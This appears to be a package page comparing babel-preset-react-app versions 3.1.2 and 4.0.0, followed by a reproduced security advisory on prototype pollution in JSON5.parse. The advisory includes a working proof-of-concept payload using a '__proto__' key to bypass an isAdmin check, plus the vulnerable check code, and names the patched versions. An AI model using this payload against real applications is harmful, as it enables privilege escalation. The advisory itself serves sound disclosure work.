Babel Preset React App underwent a significant transformation from version 3.1.2 to 4.0.0, marking a major shift in dependency management, babel core utilization, and overall build process. Version 4.0.0 adopts the @babel scope for core Babel packages, aligning with modern Babel practices. This is reflected in dependencies like @babel/core, @babel/preset-env, @babel/preset-react, signaling a complete overhaul of Babel's core functionalities. The older version 3.1.2 relies on non-scoped packages such as babel-preset-env and babel-preset-react.
Version 4.0.0 leverages Babel 7's features, including individualized plugins @babel/plugin-transform-classes and @babel/plugin-proposal-class-properties offering more granular control of transformations. The upgrade utilizes more updated and modular packages like @babel/plugin-transform-runtime that enables more eficient polyfilling and code reuse across modules. In contrast, version 3.1.2 uses packages that don't belong to the @babel namespace, and are now considered deprecated in favor of the new module approach.
Version 4 introduces babel-plugin-macros, streamlining macro usage, providing a more powerful and extensible approach for custom transformations beyond the standard Babel pipeline, and it uses babel-loader 8.0.2, which is a new, more optimized webpack loader. Furthermore, version 4.0.0 eliminates peerDependencies as the version 7 automatically resolves those dependencies. This helps with managing version conflicts and build stability in complex project setups. The distribution size is also bigger for version 4 including more files and expanded code coverage. These differences highlight Babel Preset React App's commitment to modern Babel practices, offering improved modularity, better dependency management, and enhanced extensibility.
All the vulnerabilities related to the version 4.0.0 of the package
Prototype Pollution in JSON5 via Parse Method
The parse method of the JSON5 library before and including version 2.2.1 does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object.
This vulnerability pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations.
This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from JSON5.parse. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution.
This vulnerability is patched in json5 v2.2.2 and later. A patch has also been backported for json5 v1 in versions v1.0.2 and later.
Suppose a developer wants to allow users and admins to perform some risky operation, but they want to restrict what non-admins can do. To accomplish this, they accept a JSON blob from the user, parse it using JSON5.parse, confirm that the provided data does not set some sensitive keys, and then performs the risky operation using the validated data:
const JSON5 = require('json5');
const doSomethingDangerous = (props) => {
if (props.isAdmin) {
console.log('Doing dangerous thing as admin.');
} else {
console.log('Doing dangerous thing as user.');
}
};
const secCheckKeysSet = (obj, searchKeys) => {
let searchKeyFound = false;
Object.keys(obj).forEach((key) => {
if (searchKeys.indexOf(key) > -1) {
searchKeyFound = true;
}
});
return searchKeyFound;
};
const props = JSON5.parse('{"foo": "bar"}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props); // "Doing dangerous thing as user."
} else {
throw new Error('Forbidden...');
}
If the user attempts to set the isAdmin key, their request will be rejected:
const props = JSON5.parse('{"foo": "bar", "isAdmin": true}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props);
} else {
throw new Error('Forbidden...'); // Error: Forbidden...
}
However, users can instead set the __proto__ key to {"isAdmin": true}. JSON5 will parse this key and will set the isAdmin key on the prototype of the returned object, allowing the user to bypass the security check and run their request as an admin:
const props = JSON5.parse('{"foo": "bar", "__proto__": {"isAdmin": true}}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
doSomethingDangerous(props); // "Doing dangerous thing as admin."
} else {
throw new Error('Forbidden...');
}